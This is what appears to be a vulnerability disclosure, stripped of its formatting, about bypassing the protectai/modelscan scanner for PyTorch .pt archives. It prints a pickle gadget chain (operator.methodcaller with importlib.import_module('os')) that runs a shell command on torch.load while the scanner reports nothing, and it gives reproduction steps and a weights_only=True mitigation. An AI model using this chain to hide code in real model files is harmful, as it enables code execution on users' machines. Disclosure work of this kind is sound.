Views
No views yet
.pt model files.protectai/modelscan scanner correctly opens ZIP-based PyTorch archives and scans the embedded data.pkl pickle. However, it still relies on a static unsafe-global blacklist, which can be bypassed by a higher-order gadget chain whose imported globals look benign.operator.methodcallerimportlib.import_moduleoperator.methodcaller("system", "touch PT_MARKER.txt")(importlib.import_module("os"))torch.load(..., weights_only=False) executes the payload even though modelscan reports zero issues and zero errors.artifacts/gadget_zip_pytorch.ptPT_MARKER.txtartifacts/gadget_zip_pytorch.ptartifacts/reproduce_output.txtartifacts/sha256sums.txtreproduce.pymodelscan: protectai/modelscan @ 61fcec9c2a37c24c1fb12d84ede30fe248a364bdpython reproduce.py --modelscan-path /path/to/modelscanmodelscan is already installed in your environment, --modelscan-path is optional.modelscan returns zero issues and zero errorstorch.load(..., weights_only=False) loads successfullyPT_MARKER.txtOrderedDict.pt templatepython reproduce.py --build --template-pt /path/to/clean_zip_pytorch.pt --modelscan-path /path/to/modelscandata.pkl member. This regenerates artifacts/gadget_zip_pytorch.pt and reruns the verification steps.torch.load behavior to weights_only=True, which blocks unsafe globals earlier in the load pipeline.torch.load(path, weights_only=False)artifacts/reproduce_output.txt:modelscan_issue_count: 0modelscan_errors: []torch_load_type: OrderedDicttorch_load_keys: []marker_exists_after_torch_load: True.pt model artifactmodelscan inspects the embedded data.pkl